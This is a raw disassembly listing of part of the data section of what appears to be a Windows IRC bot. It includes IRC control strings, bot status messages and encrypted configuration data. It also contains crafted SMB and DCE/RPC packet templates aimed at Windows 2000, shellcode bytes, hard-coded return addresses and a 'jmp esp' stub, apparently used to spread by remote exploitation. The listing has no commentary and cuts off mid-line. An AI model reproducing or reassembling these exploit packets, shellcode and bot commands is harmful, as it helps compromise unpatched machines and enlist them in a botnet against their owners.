; DATA XREF: sub_40A9CF+1400r align 10h dword_419A10 dd 2AEC3778h ; DATA XREF: sub_40A9CF+1399r dd 2 dup(0) dword_419A1C dd 22DB0h ; DATA XREF: sub_40A9CF+1374r dd 0 dword_419A24 dd 155E78h ; DATA XREF: sub_40A9CF+135Fr align 10h dword_419A30 dd 135A78h ; DATA XREF: sub_40A9CF+134Ar dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520h ; DATA XREF: sub_40A9CF+1333o dword_419A44 dd 121930h ; DATA XREF: sub_40A9CF+1310r align 10h dword_419A50 dd 0D0EBFCFDh ; DATA XREF: sub_40A9CF+12E9r align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 dword_419A7C dd 90F030h ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 29FB0h ; DATA XREF: sub_40A9CF+122Br align 10h dword_419A90 dd 58EE830h ; DATA XREF: sub_40A9CF+11E7r dd 2 dup(0) dword_419A9C dd 25570h ; DATA XREF: sub_40A9CF+11A3r dd 0 dword_419AA4 dd 969E58h ; DATA XREF: sub_40A9CF+114Cr align 10h dword_419AB0 dd 54524150h, 732520h ; DATA XREF: sub_40A9CF+1135o dword_419AB8 dd 0FF778h ; DATA XREF: sub_40A9CF+1112r dd 2 dup(0) dword_419AC4 dd 0FB288h ; DATA XREF: sub_40A9CF+10B0r align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40A9CF+1098o ; sub_40A9CF+10FAo ... dword_419ADC dd 12A488h ; DATA XREF: sub_40A9CF+102Cr dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 55D1DB0h ; DATA XREF: sub_40A9CF+FF6r dd 2 dup(0) dword_419B08 dd 85A058h ; DATA XREF: sub_40A9CF+FC1r dd 2 dup(0) dword_419B14 dd 988A30h ; DATA XREF: sub_40A9CF+F80r align 10h dword_419B20 dd 53005939h ; DATA XREF: sub_40A9CF+F52r align 10h dword_419B30 dd 2AD87238h ; DATA XREF: sub_40A9CF+F24r dd 2 dup(0) dword_419B3C dd 903F4F39h ; DATA XREF: sub_40A9CF+EFEr dd 3 dup(0) dword_419B4C dd 3F53B78h ; DATA XREF: sub_40A9CF+ED0r dd 2 dup(0) dword_419B58 dd 1054F8h ; DATA XREF: sub_40A9CF+EAAr dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 2AC15529h ; DATA XREF: sub_40A9CF+E5Ar dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 dword_419BA4 dd 90DB78h ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 27B78h ; DATA XREF: sub_40A9CF+CAFr align 8 dword_419BE8 dd 0F669DEC8h ; DATA XREF: sub_40A9CF+C68r dd 3 dup(0) dword_419BF8 dd 51AF03CEh ; DATA XREF: sub_40A9CF+C05r dd 4 dup(0) dword_419C0C dd 560C8BD9h ; DATA XREF: sub_40A9CF+BDEr dd 3 dup(0) dword_419C1C dd 125EC8h ; DATA XREF: sub_40A9CF+B97r dd 2 dup(0) dword_419C28 dd 23B2DEC8h ; DATA XREF: sub_40A9CF+B82r dd 2 dup(0) dword_419C34 dd 3E3DEC8h ; DATA XREF: sub_40A9CF+B6Dr align 10h dword_419C40 dd 2AC19078h ; DATA XREF: sub_40A9CF+B3Fr dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0 ; DATA XREF: sub_40A9CF+B20o dword_419C5C dd 3D18h ; DATA XREF: sub_40A9CF+B0Cr dd 0 dword_419C64 dd 25CB99D8h ; DATA XREF: sub_40A9CF+AE5r align 10h dword_419C70 dd 26F91BF8h ; DATA XREF: sub_40A9CF+AB4r dd 2 dup(0) dword_419C7C dd 26F7D4F8h ; DATA XREF: sub_40A9CF+A83r dd 2 dup(0) dword_419C88 dd 0BA3DCE82h ; DATA XREF: sub_40A9CF+A5Dr dd 3 dup(0) dword_419C98 dd 0BA3E0C3Ah ; DATA XREF: sub_40A9CF+A11r dd 3 dup(0) dword_419CA8 dd 27740A05h ; DATA XREF: sub_40A9CF+9DCr dd 3 dup(0) dword_419CB8 dd 3F2F239h ; DATA XREF: sub_40A9CF+9A1r dd 3 dup(0) dword_419CC8 dd 12E5F8h ; DATA XREF: sub_40A9CF+96Cr dd 2 dup(0) dword_419CD4 dd 11709839h ; DATA XREF: sub_40A9CF+937r dd 3 dup(0) dword_419CE4 dd 24EBDF78h ; DATA XREF: sub_40A9CF+911r align 10h dword_419CF0 dd 1274D8h ; DATA XREF: sub_40A9CF+8FCr dd 2 dup(0) dword_419CFC dd 119530h ; DATA XREF: sub_40A9CF+8C5r dd 2 dup(0) dword_419D08 dd 5070h ; DATA XREF: sub_40A9CF+87Er align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0 ; DATA XREF: sub_40A9CF:loc_40B1ADo dword_419D78 dd 2333003h, 2034B4Fh, 0 ; DATA XREF: sub_40A9CF+7D2o dword_419D84 dd 9Ah, 0 ; DATA XREF: sub_40A9CF+79Eo dword_419D8C dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h ; DATA XREF: sub_40A9CF+790o dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0) dword_419DB0 dd 4CFC788h ; DATA XREF: sub_40A9CF+77Ar dd 2 dup(0) dword_419DBC dd 225CC0D9h ; DATA XREF: sub_40A9CF+753r dd 3 dup(0) dword_419DCC dd 16C4931h ; DATA XREF: sub_40A9CF+6EDr dd 3 dup(0) dword_419DDC dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh ; DATA XREF: sub_40A9CF+534o dd 87F6CDABh, 2 dup(0) dword_419DFC dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: sub_40A9CF+437o dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h dd 0BDB1F9BBh, 2 dup(0) dword_419E48 dd 21CC8h ; DATA XREF: sub_40A9CF+410r align 10h dword_419E50 dd 3F1EAF9h ; DATA XREF: sub_40A9CF+3E9r align 10h dword_419E60 dd 3EDD4F9h ; DATA XREF: sub_40A9CF+3BBr align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 242660F8h ; DATA XREF: sub_40A9CF+2C0r dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h ; DATA XREF: sub_40A9CF+1E3o dword_419EC4 dd 2B7260F8h ; DATA XREF: sub_40A9CF+18Dr align 10h dword_419ED0 dd 8EB758h ; DATA XREF: sub_40A9CF+158r dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 473EDB0h ; DATA XREF: sub_40A9CF+106r dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; DATA XREF: sub_40A9CF+CCo ; sub_40A9CF+EFo ... dword_419F0C dd 1685E8h ; DATA XREF: sub_40A9CF+90r dd 2 dup(0) dword_419F18 dd 3C1A6B1h ; DATA XREF: sub_40A9CF+69r dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree_0 db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 ; DATA XREF: sub_40D53F:loc_40D680o dword_41A03C dd 7373656Dh, 20656761h, 0 ; DATA XREF: sub_40D53F:loc_40D629o dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0 ; DATA XREF: sub_40D53F+8Fo dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1 ; DATA XREF: sub_40D53F+63o aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Eh ; DATA XREF: sub_40D871+290o dword_41A0E0 dd 4950013Ah, 474Eh ; DATA XREF: sub_40D871:loc_40DAEBo dword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0 ; DATA XREF: sub_40D871+265o aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Eh ; DATA XREF: sub_40D871+226o dword_41A138 dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_40D871:loc_40DA81o aSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43h ; DATA XREF: sub_40D871+A6o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset loc_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; DATA XREF: sub_410649+59o ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_410649+Fo dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0) ; DATA XREF: sub_410649+181o dword_41A818 dd 10005h, 2 dup(0) ; DATA XREF: sub_410649+1ADo dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 ; DATA XREF: sub_410649+475o dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: .data:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: .data:loc_41A8ACj ; .data:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: .data:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: .data:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: .data:0041A8AEj ; .data:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; DATA XREF: sub_410649+25Ao ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: .data:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; CODE XREF: .data:loc_41A8ECj ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; CODE XREF: .data:0041A8E1j inc edx jb short $+2 ; --------------------------------------------------------------------------- dw 0 dd 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 4 dd 0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dd offset loc_401495 dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd offset loc_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0) dd offset loc_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 0 dd offset loc_40A89A dd 1, 0 dd 1, 2 dup(0) ; --------------------------------------------------------------------------- sub sp, 71Ch jmp esp ; --------------------------------------------------------------------------- align 4 dd 1004600h, 7515123Ch, 751C123Ch, 42B68ABAh, 42D01E50h dd 34000112h, 0 dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh dd 10h, 0 dd 34EEA51Bh, 0 dd 12400h, 0 dword_41AF50 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_410B52+62o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_41AFDC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+A2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows20002_0: unicode 0, <Windows 2000 2195>,0 aWindows20005_1: unicode 0, <Windows 2000 5.0>,0 align 8 dword_41B088 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_410B52+E2o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_41B168 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+13Co dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_41B1A8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_410B52+179o dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 0 dword_41B20C dd 